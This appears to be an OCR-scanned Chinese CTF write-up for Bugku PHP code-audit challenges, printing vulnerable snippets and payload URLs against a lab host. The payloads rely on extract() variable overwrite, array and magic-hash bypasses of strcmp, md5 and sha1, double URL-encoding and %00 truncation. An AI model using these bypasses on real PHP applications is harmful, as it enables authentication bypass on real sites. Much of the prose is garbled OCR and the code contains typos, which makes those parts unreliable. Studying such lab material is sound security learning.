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EXTR_PREFIX_SAME - BiXRE#E = ICEEIMTH#H S H Y prefixy
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<?php

S$flag="00';

extract($_GET);

if(isset($shiyan))

{
$content=trim(file_get_contents($flag));
if($shiyan==$content)

{

echo'flaghood};

}

else

{

echo'Oh.no’;

1

1

2

e
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<{?php

$flag="xxx";

extract ($_GET) ;

if(isset ($shiyan))

{
$content=trim(file get contents(§flag));
if ($shiyan==$content)

{

echo’ flag{xxx}’ ;

}

else

{

echo’ Oh. no’ ;
}

}
2

B Bextract () 7] B BUET W ¥ T8 v Bk 25 Wil pay 1 oad

TR Y RIA x extract () TIBER & 7 3 OB = Bl 8% B SCBgHE x EXTR_OVERWRITE = 334K ik BUST 3245 #
B = AR B EE A BUET

(P EILE TN FENAE x1. if(isset($shiyan)) == ¥ TRUE

Id3T73333T3T33332 if(§shiyan==$content) == V" TRUE
Mii#@payload x
//B Bextract () 7] BULET Wi 18 ¥4 +php il BL K
http://123. 206. 87. 240:9009/1. php?shiyan=999&f1ag=data://, 999
//8|#file _get content () TIP3 3 A +php58 k42 + null == “string” ==Y true -
http://123. 206. 87. 240:9009/1. php?shiyan=

http://123. 206. 87. 240:9009/1. php?shiyan=&flag=
http://123. 206. 87. 240:9009/1. php?shiyan=&content=

get flagx

flag {bugku—dms j—p2sm3N}

HEB xstrempBEZ A
Hagt
stremp () JIB3EE x



int stremp( string $strl, string $str2)
HEREERNRREY
X B

strl
HTEZENY
str2
HEEZFENY

e [ fi

WX strl Z%H str2 [ < 07X strl RE str2 #WE > 0T EBRANEFEE= HEH 0y

BELER
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<?php

$flag = "flagbooood”;

if (isset($_GET['a']) {

if (stremp($_GET['a'], $flag) == 0) f/H= E strl T str2 29 <0; =%
strik T str2ii®>0; #=RAH4aE, £E0.

NS AmNFHFE (BEHRDE)

die('Flag: $flag);

else

print 'No’;

}

>

Flag Submit

<?php

$flag = "flag{xxxxx}”;

if (isset($_GET[’a’1)) {

if (stremp($_GET[’a’], $flag) == 0) //iEHK strl ZRFH str2 #HFE < 07 EHK strlRF str2id[E > 0T ERANZEL = HE 0y
//BIEAEFER + BNNRRE -

die( Flag: ’.$flag);

else

print 'No’;

}

2>

B #Estremp () TJBE ffa 5 B BR2E 18 T8 ¥2 M@ pay 1 oad
(P EILE TN ENAE x 1. if (isset($ GET[’a’])) ==Y TRUE
JTdTaTF3 37T TT T2 if (stremp($_GET[ a’], $flag) == 0) ==Y TRUE

Mii#payload x


http://123.206.87.240:9009/6.php

http://123. 206. 87. 240:9009/6. php?a[]

get flag:

Flag: flag{bugku dmsj 912k}

A58 x urldecode H.BR H B 4¢3k
wagt

eregi () JJBHUEZ x

eregi - TERIRRERPSBIREINES

int eregi( string $pattern, string $stringl, array &$regs] )

ITIBFL ereg) BHEM= G _ILEBERZHRZBDNEBRREREMDY
ereg () JIBK

int ereg ( string $pattern , string $string [, array &$regs ] )
ZENIRRERIFSIC string s AR BAIRIET] pattern REFHRFHY

WHR P H pattern 3k [EZEYLFIIFHRGIEEE S HF AL TIBIF AL T —HTFEB regs= BIEEFWHMKI/\ regs BLEHE Y §regs[1]
BWHET EREBYLEMR A= $regs[2] BNAEFEH M= AEMHY $regs[0] ARBFEEFREREILY

WIXIT string SR pattern G| AE & A HRE &2 HHAH = SR HIE &R IIHRBIEE FALSEY BV AEE )\ [E3% B
regs REREFREFAME\ 0= BINTIBIEE 14

BEEE
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<?php
ifleregi("hackerDJ)"$_GETI[id])) {

echo("

not allowed!

“);

exit():

}

$_GETIid] = urldecode($_GET[id]);
if(5_GET[id] == "hackerDJ")

{

echo”
Access granted!

echo"”
flag

<{?php
if (eregi ("hackerD]J”, $ GET[id])) {

echo(”
not allowed!

“)s

exit();

}

$_GET[id] = urldecode ($_GET[id]);
if ($_GET[id] == "hackerD]”)

{

echo

”

Access granted!

echo ”
flag

K4

1| 23 YR GINR Yl 548 2R S PR IE 14 7 R ur 1R AL
(EBEILZFRRERANENAT x1. idé BEHEE 25 M ChackerDJNe
T3 I 32 idgeiturldecode () RMAE 7 2 45 #1, ‘ChackerDJNe

WiiEpayload x



// B EFHZEH N hackerD]” 7 Fl ) B RRur 1 S B P [E
h% BEig T+ S IB H L\ 0x108
%1088 %57 RRkurl A %2568

http://123. 206. 87. 240:9009/10. php?id=%2568ackerD]

get flag:
Access granted!

flag{bugku daimasj-1t2}

FEB xmd5 ) TIBK
At

MD5 () 71 BB, x

nds - ILEFEHAM WD5 A

string md5( string $str[, bool $raw output = false] )

e’

str

JR 2 2. 58 F 4

raw_output

IBHREER raw_output RIFE TRUE= K3F MD5 #EFE1BH 5114 163 3t Jig i Bk oy L3 #)4k 5 ok ) 47

b [ i

4 32 FHTTIREHIBEE W 5] 3ok [ EH i

BEEE
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<?php

error_reporting(0);

$flag = flagitest};

if (isset($_GET['username']) and isset($_GET['password'])) {

if (5_GET['username'] == $_GET]['password'])

print "Your password can not be your username.’;

else if (md5($_GET['username']) === md5($_GET|['password']))
die('Flag: "$flag);

else

print 'Invalid password’;

1

7>

<{?php

error_reporting(0) ;

$flag = *flagf{test} ;

if (isset($ GET[ username’]) and isset($ GET[ password ])) {
if ($ _GET[ username’] == $§ GET[ password’ ])

print ’Your password can not be your username.’ ;

else if (md5($ _GET[’ username’]) === md5($ GET[’ password 1))
die( Flag: . $flag);

else

print ’Invalid password’ ;

}
2

1) ZAMD5 7] Bt ffa A B Bt 2F I 121 i B pay 1 oad
ALBUE L E B BERAFEAMAE x 1. username fipassword i fiil % e J& &

3333333333 332, username’LpasswordSMD5M JE G
iiEpayload x

http://123. 206. 87. 240:9009/18. php?username [ ]=999&password [ ]=666

get flag:

Flag: flag{bugklu-ad8-3dsa—2}

5B x B2k ik FANULL 4 3%
Hagt
ereg () JIB#EE x



int ereg ( string $pattern , string $string [, array &$regs ] )
LENRRERETIE string HHPHARKRSBIRIET pattern REFBRF ALY

IR HIE pattern SREZULFIRFIREEEZFRAF AN ITIBFERL T —HE 5 EXR regs= BIEFWMHRT )\ regs BLEFR $regs[1]
BN ET FREEVEBHET A= Sregs[2] AHHEEEF A= LEFEY $regs[0] ANBEERBREZEAY

WHXIC string SRPH pattern HR5|ACEE A M R E & 2 AR = DRI IO 4 E & R IJRAIME FALSEY (BHK G 18 )\ [H% XK
regs REREFREBEAME\ 0= BIANTIREE 14

strpos () JIB itz x
strpos - PP AFERR T FRIS AR E
int strpos( string $haystack, mixed $needle[, int $offset = 0] )

i [E needle 3T haystack SRHERKJJFRESBIZE (K E Y

X B

haystack

LIWE SN RGHD

needle

UK needle EHHB7 FE M = JBTF ZEMRATIE BB LRI\ 2 58 I URMT 4

offset

VEAK R A — 3B SO = SR A AT 2 5 LI S B R O 1 B B AL KR B - I E B SRR EZ B WAL Y

I [ i
[ needle LICFH haystack FEHAMINIIER LT offset) ¥ FEBPEIBE B NIERBATOFL = REWRAT 1LY

AR %] needle= & FALSEH

BELfE S
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<?php
Sflag="flag";

if (isset (3_GET['password’])) {

if (ereg ("*[a-zA-Z0-9]+8", §_GET['password']) === FALSE)
echo "You password must be alphanumeric’;

else if (strpos ($_GET['password’], =) !== FALSE)
die('Flag:". $flag);

else

echo 'Invalid password';

}

7>


http://123.206.87.240:9009/19.php

<?php
$flag = "flag”;

if (isset ($ GET[ password 1)) {
if (ereg (" [a—zA-Z0-9]+$”, $ GET[ password’ ]) === FALSE)

echo ’You password must be alphanumeric’;

else if (strpos ($§ GET[ password’ ], ’—’) !== FALSE)
die( Flag: ’ . $flag);
else

echo ’Invalid password’ ;

}
2

Bl B strpos () T Bl& fa A B BLY I T8 Ve Wi pay 1oad

MR EILZEFRBANENAExL. if (ereg (" [a—zA-Z0-9]+$”, $ GET[ password’ ]) === FALSE) == Y
FALSE

I3 T T2 if (strpos (§ _GET[ password ], ’—’) !== FALSE) == Y TRUE
WiiEipayload x

http://123. 206. 87. 240:9009/19. php?password[]=

get flag:

Flag: flag{ctf-bugku-ad-2131212}

FHOR B x 5 FF 32 B R 7R B 0 4
FaBe

is_numeric () JIBHER x

is numeric -+ HRYERUETHENT \ B B E A

bool is numeric( mixed $var)

WX var BEBBEEUBREEZ A A E TRUE= Wil FALSEY

BEER
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Stemp = $_GET['password'];
is_numeric($temp)?die("no numeric"):NULL;
if($temp>1336){

echo $flag;

$temp = $ GET[ password’ ];

is numeric ($temp)?die (“no numeric”) :NULL;
if ($temp>1336) {

echo $flag;

BI| A php5& ¥ 2 12 M @payload

I EILZE BN ENAE x1. is_numeric ($temp) ==Y FALSE
I3 3T 2. if($temp>1336) == TRUE
Mpilipayload x

http://123. 206. 87. 240:9009/22. php?password=99999asd

get flag:

flag{bugku null numeric}

5 =5 x sha () T) B8 45 3
maEt

shal () 7JBB#EZ x
(PHP 4 >= 4.3.0, PHP 5, PHP 7)
shal - ILHFHEAM shal B

string shal( string $str[, bool $raw output = false] )

B

str

BNEHERY

raw_output

UEHKEERS rav_output SUBMKPFR\ TRUE= X8F shal REFHL 20 ZHEFERREGES WE = WraldE a7+ 40 FBHERTRIE
HIbE

I i

HFE shal HHIMIZEE LY



BELEE
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<?php

S$flag = "flag";

if (isset($_GET['name']) and isset($_GET['password']))
{

var_dump($_GET['name’]);

echo”

var_dump($_GET['password’]);
var_dump(shal($_GET['name']));
var_dump(shal($_GET['password']));

if (5_GET['name'] == $ GET['password'])
echo’

Your password can not be your name!

else if (shal($_GET['name']l) === sha1($_GET['passward']))
die('Flag: "$flag);
else

echo’
Invalid password.

}

else

echo’
Login first!

>


http://123.206.87.240:9009/7.php

<?php

$flag = "flag”;

if (isset($ GET[’name’]) and isset($ GET[’ password’ ]))
{

var dump ($_GET[’ name’]);

echo ”

var_dump ($_GET[’ password’ 1) ;

var dump (shal (§ _GET[’ name’]));

var dump (shal ($ GET[’ password ]));

if ($ GET[ name’] == $ GET[ password’ ])

echo ’

Your password can not be your name!

’

else if (shal($ GET[’ name’]) === shal ($§ _GET[ password’]))

die( Flag: ’.$flag);
else
echo ’

Invalid password.

}
else
echo ’

Login first!

2>

Bl # shal 7] B A S BS B F JE A i@ pay 1 oad

I EILZEERERGEN/E x1. if (isset($ GET[ name’ ]) and isset($ _GET[ password’ ])) ==Y"TRUE
ddda73a73 3333 2. if ($_ GET[ name’ ] == $ GET[ password’]) ==Y'FALSE

T T T 3. if (shal($ _GET[’ name’]) === shal($_GET[ password’])) ==Y"TRUE

i@ payload x

http://123. 206. 87. 240:9009/7. php?name [ ]=999&password [ ]=99999

get flag:

Flag: flag{bugku—daimasj—a2}

S x md5 7 ' JE B4R
Fane
MD5 () 7J BBEZ. x



md5 -+ ILHFEF M MD5 HAIMf

string md5( string $str[, bool $raw output = false] )

B

str

BRI % 5 ALY
raw_output

WK EER raw_output MRIFE\ TRUE= X8F MD5 IR 5 5114 163 34 B pg id BRI ELIE #0451 1

o [ fi

4 32 FHTTIRE HIBEE 5| ek [ HH fii

MEER
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<?php

$md51 = md5('QNKCDZ0O');
$2=@%_GET[al;

$md52 = @md5(%a);

if(isset($a)){

if ($a !="QNKCDZ0' && $md51 == $md52) {
echo "flag{*}";

lelse{

echo "false!!!";

i}

elsefecho "please inputa";}
7>

<{?php

$md51 = md5 (" QNKCDZO0’) ;

$a = @$_GET[ a’];

$md52 = @md5 ($a) ;

if (isset($a)) {

if ($a != ’QNKCDZO' && $md51 == $md52) {
echo “flag{*}”;

} else {

echo “false!!!”;

3}

else{echo “please input a”;}
2>

BI| FAMDS5 7] B B 4 B 22 35 AR T 48 IE A B pay Load


http://123.206.87.240:9009/13.php

// HIB W R R 55 LSS IEMDS 7] B S 35 1 7K i JE 7%

QNKCDZO0
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020

5155964671a
0e342768416822451524974117254469

s214587387a
0e848240448830537924465865611904

$214587387a
0e848240448830537924465865611904

s878926199a
0e545993274517709034328855841020

51091221200a
0e940624217856561557816327384675

s1885207154a
0e509367213418206700842008763514

(BB IL B TR FENAE x 1. if(isset($a)) ==Y TRUE
T TITTITTITTT2. if ($a != *QNKCDZO' && $md51 == $md52) ==Y/ TRUE
#ilipayload x

http://123. 206. 87. 240:9009/13. php?a=s878926199a

get flag:

flag {bugku—dms j—am91s}

SEALE x FHoRIEH) H B 8 8%
Fagt
ord () ZTJBIEZ x



int ord( string $string)

HEZEEH string HT EEHM ASCIT By

WITIBBE chr O BEZIIBY

B
string
TEERY
I 8 i

o B 2 S ASCIT B+

BELEE
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<?php

error_reporting(0);

function noother_says_correct($temp)

{

$flag = 'flag{test]’;

$one = ord('1); /ford — £ & 5 743 ASCII #4145
$nine =ord('9"); /ford — & 5 7585 ASCIl #{&
Snumber = '3735929054";

# Check all the input characters!

for ($i = 0; $i < strlen($number); $i++)

{

// Disallow all the digits!

$digit = ord($temp{$i});

if ( ($digit >= $one) && ($digit <= $nine) )
{

# Aha, digit not allowed!

return “flase”;

1

1

if($number == $temp)

return $flag;

1

$temp = $_GET['password'];

echo noother_says_correct($temp):

7>


http://123.206.87.240:9009/20.php

<{?php
error_reporting(0) ;

function noother_says_correct($temp)

{

$flag = *flag{test}’ ;

$one = ord(C1’); //ord - im[EZHH ASCII BfHi
$nine = ord("9’); //ord - IBEZFEH ASCIT BUfii
$number = ’ 3735929054 ;

// Check all the input characters!

for ($i = 0; $i < strlen($number); $i++)

{

// Disallow all the digits!

$digit = ord($temp{$i});

if ( (§digit >= $one) && ($digit <= $nine) )

{

// Aha, digit not allowed!

return “flase”;

}

}

if ($number == $temp)

return $flag;

}

$temp = $ GET[ password’ ];

echo noother_ says_correct ($temp) ;
>

B B3 YL =="[E14 7% & FER H) e Bl 8 M AL A8 pay Load

I EILZESERERNENAE x1. if ( ($digit >= $one) && ($digit <= $nine) ) ==Y FALSE
// passwordidfiis BBE A EE1-9= " 3735929054° FEAFFKIEH] OxdeadcOde FEFHE BISZHBaRIBIC
1-9% &

ITITITTITITIT T T T2 if($number == $temp) == TRUE //FHEHIFLFSEHIR BId B
WiiEpayload x

http://123. 206. 87. 240:9009/20. php?password=0xdeadcOde

get flag:

flag {Bugku—admin—ctfdaimash}

A x BUET R &
RUETH 22929  AEPHEEEIR DR ER M — ( € { {

AT Hi x eregBAI%00 8 &y
Hagt
ereg () 7IB#EEZ x



int ereg ( string $pattern , string $string [, array &$regs ] )
LENRRERET D string HFHPHARKRSBIRIET pattern REFBRFIY

LIk HIE pattern SREZULFIRFREEEZFRAF AN ITIBERSG T —HE5EXR regs= BIEFWMEHRT )\ regs BLEFR $regs[1]
BN ET FREEVERBHBT = Sregs[2] BRHEEEF A= LEFEY $regs[0] ANBEERBRZEAY

WHXIT string SRPH pattern HR5|ACEE &AM R E & 2 AR = DRI 4 E & R IJEAIME FALSEY (BHK @ A8 )\ [H% XK
regs REREFRFEBEAME\ 0= BIANTIREE 14

strlen () TJBEE x

int strlen( string $string)
WEARAELHR string HHEY
B

string

ERILHMAERZEAY
I [ i

BhAIEEZEE N string FRFE TR string \(EH= AIE 04

strpos () TJB¥EE x
strpos - P AR T PR R R
int strpos( string $haystack, mixed $needle[, int $offset = 0] )

[ needle 30 haystack SREERKJ]EFISHREE4&F Y

B

haystack
IWWEE IR RS Y
needle

18X needle THE7 EZHEH = P LRHMMBIIE BUIE AR\ 2 255 18 R

offset

AR =B = BT ERRZ B R AR RS 7 BRI = B TZ2E AL REBEZEREEY
2o [ fi

[ needle LITTL haystack FHENMRIHIAR IMNETL offset) ¥ MR E 2B A BRIFOH M = RERFIHHBR Y

ORI E] needle= &tk FALSEY

BEEE

Topic Link xhttp://123. 206. 87. 240:9009/5. php
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eregiE W %00 7, B

http://123.206.87.240:9009/5.php
<?php
$flag = "xoox";

if (isset ($_GET['password']))

{

if (ereg ("*[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
{

echo’

You password must be alphanumeric

}

else if (strlen($_GET['password']) < 8 && $_GET['password'] >
9999999)

{

if (strpos ($_GET['password'],"-") == FALSE) //strpos — 8 FiF 8k
EEREE o

{

die('Flag:'. $flag);

}

else

{

echo("
-have not been found

)

<{?php

$flag = "xxx”;

if (isset ($ GET[ password 1))

{

if (ereg (" [a—zA-Z0-9]+$”, $ GET[ password’ ]) === FALSE)
{

echo ’

You password must be alphanumeric

}

else if (strlen($ GET[ password’ ]) < 8 & $ GET[ password’ ] > 9999999)

{

if (strpos ($ _GET[ password’], ’—’) !== FALSE) //strpos - Hhib32% HERI T FEIAZE
{

die(CFlag: ’ . $flag);

}

else

{

echo (’

- have not been found

)
}

}
else

{
echo ’

Invalid password



FEALBME (ZEHERIEFEEZ nmp) = HHELBUSRAIE x

if (isset ($ GET[ password 1)) {
if (ereg (" [a-zA-Z0-9]+$”, $_GET[ password’]) === FALSE)
{

echo ’<p>You password must be alphanumeric</p> ;

}
else if (strlen($ GET[ password’ ]) < 8 && $ GET[ password’ ] > 9999999)

{
if (strpos ($ GET[ password’ ], ’*—%’) !== FALSE)
{
die( Flag: ’ . $flag);
}

else

{
echo ( <p>*—%* have not been found</p>’);

}

else

{
echo ’<p>Invalid password</p>’ ;

B|#strlen() JIB L strpos ) 7B E fa X BS Bl 2k I &M i@ pay 1oad
=
Bl Fereg () 7] B %00ER & 1 2 1B 41/l payload

AR EILEZRBEREENAEx1. if (ereg (" [a—2zA-Z0-9]+$”, $ GET[ password’]) === FALSE) ==V
FLASE

T3 TTITTITTTTT2 if (strlen($_GET[ password ]) < 8 && $ GET[ password’ ] > 9999999)
/ /B EPR RS = itk He B4 B BIRFILHIZ 45t 1e8 > 9999999

337333737333 333. if (strpos (§ GET[ password’ ], ’*—%") !== FALSE) //passwordifij5F
(RN
iiE@payload x

http://123. 206. 87. 240:9009/5. php?password=1e8%00*—*

http://123. 206. 87. 240:9009/5. php?password[]=

get flag:

Flag: flag{bugku-dm-s;j-al2JH8}

F I+ H B x strposBR Lt 2k
Hagt
strpos () TJBEZ x



strpos - HPEE AT TIFFRER

int strpos( string $haystack, mixed $needle[, int $offset = 0] )

[ needle 3T haystack ZBFHERKJJFRMABE AR Y

B

haystack

o A SRR

needle

10X needle HHRT FEZHEH = PRGNS \BUS AR\ 3 5 18 UR i &
offset

TR — 3B S B = FRAME AP 2 5 UM SRS R A R F ST SRR = SRR F Z R AL R EZ B WAL

It [ i
i@ needle :LITFH haystack FBHAMEGIIARZR FNEE offset) ¥ FEREISZ F IR RBAFOZF L = REBAFIHLERY

JOAR P #] needle= &tk FALSES

BEEE

Topic Linkxhttp://123.206. 87. 240:9009/15. php
strpos#k 48 ¢ 3L

http://123.206.87.240:9009/15.php
<?php

$flag = "flag";

if (isset ($_GET['ctf ) {

if (@ereg (""[1-9]+$", $_GET['ctf']) === FALSE)
echo " MANSL T A 47

else if (strpos ($_GET['ctf'], ‘#biubiubiu’) '== FALSE)
die('Flag: .$flag);

else

echo &5, “&Y /e~

}

27>

<{?php

$flag = "flag”;

if (isset ($_GET[ ctf’1)) {

if (@ereg (""[1-91+$”, $_GET[ ctf’ 1) === FALSE)
echo " THUEU\BREITH ;

else if (strpos ($ GET[ ctf’], ’#biubiubiu’) !== FALSE)
die( Flag: ’. $flag);

else

echo * B L = SRAARHFHTE ;

}

2>

B #strpos () TIBE s X B B2 I &1 pay 1l oad
(BB ILE TR FNAE x 1. if (@ereg (" [1-9]1+$”, $ GET[ ctf’]) === FALSE) ==Y FALSE

TIIIIITTTTTITTT2 if (strpos (§_GET[ ctf’], ’#biubiubiu’) !== FALSE) ==Y TRUE


http://123.206.87.240:9009/15.php

iEpayload x

http://123. 206. 87. 240:9009/15. php?ctf[]=

get flag:

Flag: flag{Bugku-D-M-S-J572}

FEFH 5 x Bl B 25 1) 4k
Hagt
preg match() 7JBZE P x

int preg match( string $pattern, string $subject[, array &$matches[, int $flags = 0[, int $offset = 0]1] )
1B#fsubject HpatternZA B HBIRIE T RT FER.

L

pattern

TR = ZHERFBY

subject

BN\EFRY

matches

SR 4R i — X Bmatches = ZEHR BT \FBHAR Y $matches [0) AN EBIRSI EZHIR T = Snatches[1] HAKET FIEFHFHES
BT = BRI Y

flags

flagsEAZMRIT R\ AL HHE T x

PREG_OFFSET_CAPTURE

EiKARIE IR EMIT = FRET ETIIRRE & i EBUERS S B MR (BF LEMFEAR) ¥ S x BAABEIE 5 filnatches BB
2= ZARBEERER\T EBHOENREREZFHINRZHE N = F1F LR ME = FENICEMFE fusubject BRI RETY

offset

i = BT EMZE AR HEEBRE Y EEXM offset BARBFEMZE BT EAEBREITH (BkREE) ¥

3 i
preg_match () [ pattern (B 2 RKBY LR MISPRORK + FE® - B 1Bk = [\ preg_match () IDF7 RKE & MISHEFHOERE
4 preg match all O HBFERE= ZE7 IriG4isubject BrflHELS Ry (B 24548 ilipreg_match () [ FALSEH

BELER
Topic Link xhttp://123. 206. 87. 240:9009/21. php
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<?php

error_reporting(0);

$flag = flagitest]"

if ("POST" == $_SERVER['REQUEST_METHOD'])

{

$password = $_POST['password'];

if (0 >= preg_match(/*[[:graph:][{12,}$/’, $password)) //preg_match —
F—AEAREALE

{

echo 'flag’;

exit;

}

while (TRUE)

{

$reg = /([l:punct:]l+|[:digit:]1+|[upper:1I+| [llower:11+)/';

if (6 > preg_match_all($reg. $password, $arr))

break;

$c=0:

$ps = array('punct’, 'digit’, 'upper’, ‘lower’); /[:punct:]] E£#F 555
[[digit:1] 4= 2 F [[:upper:]] £ X 5 5 & [lower:) &7 5 F &
foreach ($ps as $pt)

{

<{?php

error reporting(0);

$flag = *flagf{test}’;

if ("POST” == $_SERVER[’ REQUEST METHOD’ ])

{

$password = $ POST[’ password’ ];

if (0 >= preg match( /" [[:graph:11{12,}$/’, $password)) //preg match - 7 FHAIRIC5IEE
{

echo ’flag’ ;

exit;

}

while (TRUE)

{

$reg = */([[:punct:11+|[[:digit:]1]+| [[:upper:11+|[[:lower:11+) /" ;

if (6 > preg match all ($reg, $password, $arr))

break;

$c = 0;

$ps = array( punct’, 'digit’, “upper’, ’lower’); //[[:punct:]] {F#EMEEWL [[:digit:]1] b3 [[:upper:]] &HREZFEEH
[[:lower:1] M /REZEH

foreach ($ps as $pt)

{

if (preg match(”/[[:$pt:11+/”, $password))
$c +=1;

}

if ($c < 3) break;

//>=3= CH &S E BT 2 5 R B GRS
if ("42” == $password) echo $flag;
else echo ’Wrong password’ ;

exit;

}

}

2>

B Bpreg_match () 7J Bl % fa XX BBl 2E i M i@ pay 1oad
{EREILE TR FEMAEx 1. if (0 >= preg match( /" [[:graph:11{12,}$/", $password)) == TRUE

Mii#payload x



http://123. 206. 87. 240:9009/21. php

post: password[]=

get flag:

flag{Bugku preg match}

A EB x BB wal
WA BETHRE) 7 #F= PEPEHF(({({({ »*xTT77 7777377

3R T bhttps://www.cnblogs.com/qftm/p/10386536.htmi
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